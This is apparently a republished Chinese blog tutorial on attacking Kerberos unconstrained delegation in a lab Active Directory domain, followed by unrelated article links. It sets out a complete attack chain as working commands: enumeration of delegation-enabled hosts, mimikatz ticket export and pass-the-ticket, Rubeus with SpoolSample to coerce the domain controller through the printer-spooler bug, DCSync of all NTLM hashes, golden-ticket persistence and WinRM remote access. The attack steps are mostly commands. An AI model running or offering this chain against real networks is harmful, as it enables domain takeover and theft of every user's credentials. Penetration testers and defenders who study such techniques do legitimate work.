Kerberos 域委派攻击之非约束性委派

news2024/11/16 20:52:04

CSDN文章自动迁移自博客

在Windows 2000 Server 首次发布 Active Directory 时,Microsoft 必须提供一种简单的机制来支持用户通过 Kerberos 向 Web Server 进行身份验证并需要代表该用户更新后端数据库服务器上的记录的方案。这通常称为“Kerberos 双跳问题”,并且要求进行委派,以便 Web Server 在修改数据库记录时模拟用户。Windows 2000 Server 发布的也是最初的非约束性委派。需要注意的一点是接受委派的用户只能是 服务账户 或者 计算机用户 。委派是域中的一种属性设置,是一个安全敏感的操作。是指将域内用户的权限委派给服务账号,使得服务账号能以用户权限访问域内的其他服务。

  • 如图,域用户 attack/Administrator 通过访问 Web 服务请求下载后台文件服务器中的文件,于是 Web 服务的服务账号 webservice 以域用户 attack/Administrator 的身份通过 Kerberos 认证协议或者其他身份认证协议的方式(其他身份认证协议可能存在于约束性委派或基于资源的约束性委派中,但域内基本上都是设置的仅使用 Kerberos 认证协议)请求后台文件服务器。这就是一个委派的流程。委派主要分为以下三种:

  • 非约束性委派 UD: Unconstrained Delegation

  • 约束性委派 CD: Constrained Delegation

  • 基于资源的约束性委派 RBCD: Resource Based Constrained Delegation

以下是本地操作环境:

  • 域:attack.cn

  • 域控:

  • 主域控:dc 系统:Windows Server 2012 R2 IP:192.168.11.11

  • 辅域控:dc02系统 :Windows Server 2012 R2 IP:192.168.11.13

  • 域内主机:

  • pc01 IP:192.168.11.15 系统:Windows7

  • 本地管理员:Administrator域账号:attckadmin 密码:123.com

  • pc02 IP:192.168.11.16 系统:Windows10

  • 本地管理员:Administrator 域账号:zhang 密码:321.com

  • 域用户:

  • 域管:attack\administrator

  • 普通域用户:attack\attackadmin

  • 普通域用户:attack\zhang

  • 配置委派的域用户和服务账号:attack\test

服务账号可以获取被委派用户的 TGT,并将 TGT 缓存到 lsass 进程中,从而服务账号可使用该 TGT,模拟该用户访问域内其他服务。非约束委派的设置需要 SeEnableDelegationPrivilege 权限,该特权通常只有域管理员才有。

在域控上配置非约束性委派

计算机用户的非约束性委派配置:控制面板\系统和安全\管理工具\Active Directory 用户和计算机(%SystemRoot%\system32\dsa.msc)—> 域名/Computers/名称/属性 —> 委派 —> 信任此计算机来委派任何服务 (仅 Kerberos)(T)

  • 配置了非约束性委派属性的计算机用户的userAccountControl属性有个 Flag 位WORKSTATION_TRUST_ACCOUNT | TRUSTED_FOR_DELEGATION,其对应的数是0x81000=528384。可在 Active Directory 用户和计算机窗口中开启查看的高级功能后选择对应机器名称属性中的属性编辑器中看到,如下图。

服务账号的非约束性委派配置,可以先创建一个普通用户 test

net user test P@ssw0rd /add /domain

普通用户默认没有委派的选项设置,需要给他注册一个服务主体名称(SPN)使其成为一个服务账号

setspn -U -A priv/test test

也可以查找指定 test 用户注册的 SPN

setspn -L test

这时候 test 用户就拥有委派的属性,可以将其设置为非约束性委派

  • 配置了非约束性委派属性的服务账号的userAccountControl属性有个 Flag 位NORMAL_ACCOUNT | TRUSTED_FOR_DELEGATION, 其对应的数是0x80200=528384。可在 Active Directory 用户和计算机窗口中开启查看的高级功能后选择对应服务账户名称属性中的属性编辑器中看到,如下图

查询非约束性委派的计算机或服务账号

默认域控是配置了非约束性委派的

PowerView

PowerView 有几个不同的版本,这里用的是 PowerShellEmpire 下的,脚本地址:https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerView/powerview.ps1

# 导入 PowerView 脚本
import-module .\powerview.ps1

# 查询域内非约束性委派的计算机
Get-NetComputer -Unconstrained -Domain attack.cn | select name

# 查询域内非约束性委派的服务账号
Get-NetAdministrator -Unconstrained -Domain attack.cn | select name

Adfind

下载地址:

该工具不需要账号密码即可查询,其他支持 ldap 协议的工具也可以实现查询

# 查询域内非约束性委派的计算机
AdFind.exe -b "DC=attack,DC=cn" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn

# 查询非约束性委派的服务账号
AdFind.exe -b "DC=attack,DC=cn" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn

ldapsearch

kali 内置,其他系统安装

# Ubuntu 用户安装

sudo apt install ldap-utils

# mac 用户安装

brew install ldapvi

该工具需要域内任意用户的账号密码,可在域外查询。其他支持 ldap 协议的工具也可以实现查询。

查询域内非约束委派的计算机

# 实测不好用

ldapsearch -LLL -x -H ldap://192.168.11.11:389 -D "zhang@attack.cn" -w "321.com" -b dc=attack,dc=cn "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn

查询非约束性委派的服务账号

ldapsearch -LLL -x -H ldap://192.168.11.11:389 -D "test@attack.cn" -w "P@ssw0rd"   -b dc=attack,DC=cn  "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

非约束性委派攻击

用户 Administrator 去访问服务 service,如果服务 service 的服务账户开启了非约束性委派,那么当用户 Administrator 访问服务 service 的时候会将用户 Administrator 的 TGT 发送给服务 service 并保存在内存中以备下次重用,所以服务 service 能够利用用户 Administrator 的身份去访问用户 Administrator 能够访问的任意服务。

两种攻击方式,一种是诱使域管用户(相当于是域内钓鱼)来访问配置了非约束性委派的主机或服务,二是结合打印机漏洞让域管用户强制回连以缓存 TGT。

模拟域管访问非约束性委派主机

模拟域管用户 attack/Administrator(只要是域管用户,不一定在域控)远程访问非约束性委派主机机 pc02pc01 已获得本地管理员权限。常见可利用钓鱼的连接方式可以是 MSSQL 或 IIS,这里演示域管用户 attack/Administrator 直接 IPC 连接 pc01

注意:

1、高版本的系统,实测win10启动管理员命令失败,即使启动成功也无法获取,win7域用户状态下,启动管理员权限,需要调用域管登录,然后管理员身份启动cmd,所以这个洞,在某些版本下真的很鸡肋!

2、另外需要注意的一个问题就是,检查域主机的防火墙!

pc02无法访问域控dc.attack.cn

dir \\dc.attack.cn\c$

域管用户 attack/Administrator IPC 连接 pc01

dir \\dc.attack.cn\c$

域管用户 attack/Administrator IPC 连接 pc01

net use \\pc01.attack.cn /Administrator:attack\administrator 1qaz@WSX

这适合 pc02 机器就已经有了域管 attack/Administrator 的 TGT 票据,可以用 mimikatz 导出

# mimikatz
privilege::debug
sekurlsa::tickets /export

mimikatz "privilege::debug" "sekurlsa::tickets /export" exit

然后通过 Pass The Ticket(PTT)将 TGT 注入到当前会话中

# mimikatz
kerberos::ptt [0;157a7b]-0-0-40a50000-Administrator@cifs-dc.attack.cn.kirbi
mimikatz "kerberos::ptt [0;157a7b]-0-0-40a50000-Administrator@cifs-dc.attack.cn.kirbi" exit

# DOS
dir \\dc.attack.cn\c$

非约束性委派 +Spooler 打印机服务漏洞

利用 Windows 打印系统远程协议(MS-RPRN)中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用 MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex) 方法强制任何运行了 Spooler 服务的计算机以通过 Kerberos 或 NTLM 对攻击者选择的目标进行身份验证。

非约束性委派主机结合 Spooler 打印机服务漏洞,让域控机器 dc 强制访问已控的具有本地管理员权限的非约束性委派机器 pc02 ,从而拿到域管理员的 TGT,进而接管域控。

首先利用Rubeus在 pc02 上以 本地 管理员权限执行以下命令,每隔一秒监听来自域控机器 dc 的登录信息

已编译的 Rubeus 下载:

版本:https://github.com/GhostPack/Rubeus/releases/tag/1.6.4

注意:实测win10下,域网络防火墙会自动开启,域用户无法关闭,需本地管理员

# 需要注意:Rubeus的监听,需要在主机管理员用户下监听
Rubeus.exe monitor /interval:1 /filterAdministrator:dc$

再利用SpoolSample强制域控打印机回连,需在域用户进程上执行,所以这里切换成了普通域用户帐号去执行

已编译的 SpoolSample 下载:

# 需要注意:打印机服务漏洞,需要在域用户下进行触发,Rubeus的监听,需要在主机管理员用户下监听,所以可以用一台域用户下触发,另一台机器管理员用户去监听,或者切换账户进行监听和触发!
SpoolSample.exe dc pc02

同时 Rubeus 也获取到了来自域控 dc 的 TGT 票据

Rubeus 导入获取到的 TGT 票据

# 最方便的方法我测试到的是使用notepad++
Rubeus.exe ptt /ticket:Base64EncodedTicket
或者:
[IO.File]::WriteAllBytes("ptt.kirbi",[Convert]::FromBase64String(""))

这时候管理员权限运行 mimikatz 就可以获取域内所有用户的 NTLM hash,内存中也有了域管的 TGT 也可以直接 PTT。

mimikatz.exe "log" "lsadump::dcsync /all /csv" "exit"

接下来解密 NTLM hash 后可以直接登录域控,解不开也可以利用 krbtgt 的 NTLM hash 用于做黄金票据权限维持

有了黄金票据也同样可以访问域控了,使用 WinRM 服务来远程连接域控命令执行。

Enter-PSSession -ComputerName dc

转载请注明:Adminxe's Blog » Kerberos 域委派攻击之非约束性委派

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/390801.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

零入门kubernetes网络实战-20->golang编程syscall操作tun设备介绍

《零入门kubernetes网络实战》视频专栏地址 https://www.ixigua.com/7193641905282875942 本篇文章视频地址(稍后上传) 本篇文章主要是使用golang自带的syscall包来创建tun类型的虚拟网络设备。 注意: 目前只能使用syscall包来创建tun类型的虚拟设备。 tun虚拟网…

【RockerMQ】003-Windows 安装 RocketMQ

【RockerMQ】003-Windows 安装 RocketMQ 一、准备工作 1、环境要求 64位JDK 1.8;Maven 3.2.x;64位操作系统系统,本文档在Windows上安装 2、下载解压 下载地址 https://archive.apache.org/dist/rocketmq/5.1.0/ 下载目标 解压 到不含中文路径的目录下 环境变…

Python进阶-----面对对象7.0(细谈__new__方法和__init__方法)

目录 前言: __init__方法 __new__方法(重点!) 1.__new__方法的调用过程 2.重写__new__方法 3.__new__方法不同返回值的情况 3.单例模式 前言: 上一期初步介绍了__new__()方法,但是实际上这个方法还有非常多的内…

操作系统——18.进程互斥的软件实现方法

这篇文章我们来讲一下进程互斥的软件实现方法 目录 1.概述 2.单标志法 3.双标志检查法 4.双标志后检查法 5.Perterson算法 6.小结 1.概述 首先,我们来看一下这节的大体框架 学习提示: 理解各个算法的思想、原理结合上小节学习的“实现互斥的四个逻辑部分”…

通用业务平台设计(五):预警平台建设

前言 在上家公司,随着业务的不断拓展(从支持单个国家单个主体演变成支持多个国家多个主体),对预警的诉求越来越紧迫;如何保障业务的稳定性那?预警可以帮我们提前甄别风险,从而让我们可以在风险来临前将其消灭&#xff…

深度学习笔记:dropout和调优超参数方法

1 Dropout Dropout是一个常用于深度学习的减轻过拟合的方法。该方法在每一轮训练中随机删除部分隐藏层神经元。被删除的神经元不会进行正向或反向信号传递。在测试阶段所有神经元都会传递信号,但对各个神经元的输出要乘以训练时删除比例。 Dropout实现程序&#xf…

毕业设计 基于STM32单片机无线ZIGBEE智能大棚土壤湿度光照检测

基于STM32单片机无线ZIGBEE智能大棚土壤湿度光照检测1、项目简介1.1 系统构成1.2 系统功能2、部分电路设计2.1 STM32F103C8T6核心系统电路设计2.2 光敏采集电路设计2.3 温度采集电路设计3、部分代码展示3.1 读取DS18B20温度值3.2 定时器初始化1、项目简介 选题指导&#xff0c…

Learning Typescript and React in ts

目录 Basic typescript What is typescript? Configuring the TypeScript Compiler Fundamental build in types TypeScript Simple Types TypeScript Special Types Type: unknown Type: never Type: undefined & null Arrays Tuple Enums functions Ob…

Java集合专题

文章目录框架体系CollectionListArrayListLinkedListVectorSetHashSetLinkedHashSetTreeSetMapHashMapHashtableLinkedHashMapTreeMapPropertiesCollections框架体系 1、集合主要分了两组(单列集合,双列集合) 2、Collection接口有两个重要的子…

2.SpringSecurity认证

2.1登录校验流程 2.2认证原理 *源码流程: *自定义认证流程: *校验流程: *认证和校验连接: 2.3思路分析 *登录:

SQLI-Labs通关(2)5-7关

跟之前一样首先传参,然后查看注入点以及闭合 用and 11 and 12都没问题,接下来测试单引号 利用 and 12的时候会报错 利用order by来判断列数 得出一共三列 接下来就是联合查询 但是这个并不会回显 那么就利用盲注或者报错注入 在这里我们利用报错来测…

Vue3的生命周期函数

文章目录🌟 写在前面🌟 生命周期钩子函数🌟 组合式API生命周期🌟 写在最后🌟 写在前面 专栏介绍: 凉哥作为 Vue 的忠实 粉丝输出过大量的 Vue 文章,应粉丝要求开始更新 Vue3 的相关技术文章&am…

OPPO 数据恢复:如何从 OPPO 手机恢复已删除的文件?

Oppo 手机以其精美的外观和拍摄的精美照片和视频而闻名。如果您不小心丢失了 OPPO 手机中珍贵的照片、视频等重要文件,并且为如何找回而苦恼,那么您来对地方了。我们其实有很多OPPO数据恢复方案,现在最重要的是尽快尝试这些方法,防…

Git 相关内容

目录 Git 相关流程和常用命令 Git workflow Git hooks Git 相关流程和常用命令 Git远程操作详解 - 阮一峰的网络日志 Git 使用规范流程 - 阮一峰的网络日志 常用 Git 命令清单 - 阮一峰的网络日志 Git workflow 啥玩意: 就是一个工作流程。可以比喻成一个河流…

用逻辑回归制作评分卡

目录 一.评分卡 二.导库,获取数据 三.探索数据与数据预处理 1.去除重复值 2.填补缺失值 3.描述性统计处理异常值 4.为什么不统一量纲,也不标准化数据分布 5.样本不均衡问题 6.分训练集和测试集 三.分箱 1.分多少个箱子才合适 2.分箱要达成什么…

Antlr4: 为parser rule添加label

1. parser rule中的label 1.1 简介 Antrl4语法文件Calculator.g4,stat和expr两个parser rule含有多个rule element,我们这两个parse rule的每个rule element添加了Alternative labels(简称label) 按照Antlr4的语法规则&#xff…

2022年显卡性能跑分排名表

2022年显卡性能跑分排名表(数据来源于快科技)这个版本的电脑显卡跑分榜第一的是NVIDIA GeForce RTX 3090 Ti显卡。由于显卡跑分受不同的测试环境、不同的显卡驱动版本以及不同散热设计而有所不同,所以显卡跑分会一直变化。 前二十名的台式电…

Linux(进程概念详解)

进程是如今编程领域非常重要的一个概念,进程是比较抽象的,不容易直接理解。因为进程与操作系统息息相关,因此在介绍进程之前,笔者打算先简易讲一下操作系统的工作流程,理解操作系统是如何管理软件和硬件的,…

垃圾收集器和内存分配(第五章)

《实战Java虚拟机:JVM故障诊断与性能优化 (第2版)》 Java 平台,标准版热点虚拟机垃圾回收调优指南 垃圾收集器虽然看起来数量比较多,但其实总体逻辑都是因为硬件环境的升级而演化出来的产品,不同垃圾收集器的产生总体可以划分为几…

智能优化算法应用:基于蚁狮优化算法的工程优化案例-附代码

智能优化算法应用:基于蚁狮算法的工程优化案例 文章目录智能优化算法应用:基于蚁狮算法的工程优化案例1.蚁狮算法2.压力容器设计问题3.三杆桁架设计问题4.拉压弹簧设计问题5.Matlab代码6.python代码摘要:本文介绍利用蚁狮搜索算法&#xff0c…